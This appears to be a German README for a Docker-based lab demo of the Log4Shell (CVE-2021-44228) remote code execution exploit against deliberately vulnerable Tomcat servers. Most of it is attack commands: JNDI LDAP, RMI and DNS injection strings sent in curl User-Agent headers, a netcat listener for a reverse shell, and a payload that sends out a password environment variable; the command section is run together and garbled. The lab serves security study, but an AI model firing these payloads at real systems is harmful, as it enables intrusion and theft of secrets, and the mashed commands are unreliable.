
Eine Docker-basierte LDAP RCE Exploit-Demo für CVE-2021-44228 Log4Shell
Der Demo-Tomcat-8-Server auf Port 8080 hat eine angreifbare App (log4shell) deployed und der Server ist auch über User-Agent-Angriffe angreifbar.
Die Remote-Exploit-App in dieser Demo basiert auf der unter https://github.com/kozmer/log4j-shell-poc gefundenen.
Dieser Demo-Tomcat-Server (Tomcat 8.5.3, Java 1.8.0u51) wurde für die Verwendung von Log4J2 zum Logging umkonfiguriert – eine nicht standardmäßige Konfiguration.
Ein neuerer Bitnami-Server ist jetzt auf Port 8888 verfügbar. Er ist ebenfalls für Log4J2-Logging konfiguriert und läuft mit Tomcat 9.0.55 und OpenJDK 11.0.13.
Der RMI-Exploit gegen den Tomcat 9 / Java 11 Server wird hier beschrieben: https://www.veracode.com/blog/research/exploiting-jndi-injections-java (3. Januar 2019) von Michael Stepankin
Das Erkennungsskript prüft auf User-Agent-Schwachstellen und stammt von hier: https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
Dieser Code erfordert Docker und Docker Compose
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# edit docker-compose.yml to addjust the environment variables as needed.
# POC_ADDR is the address of the cve-poc container
# LISTENER_ADDR is the address of the 'nc' listener e.g. the docker host
# The listener IP address is the address of the machine on which you will run the netcat 'nc' listener
# This can be the local IP of the docker hostmachine.
docker-compose build
nc -lv 10.10.10.31 9001docker-compose upadminpassword${jndi:ldap://172.16.238.11:1389/a} einnc-Listenernc -lv 10.10.10.31 9001docker-compose upcurl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shelldocker-compose upcurl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/Ich habe Probleme mit dem Befehlszeilenargument für das Ping-Ziel. Sie müssen es daher selbst kompilieren.
docker-compose updocker exec -it log4j-poc_cve-poc_1 /bin/bashcd /home/user/rmi-pocjavac -cp catalina.jar:. RMIServerPOC.javajavac -cp catalina.jar:. RMIServerPOC 127.0.0.1docker-compose upcurl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2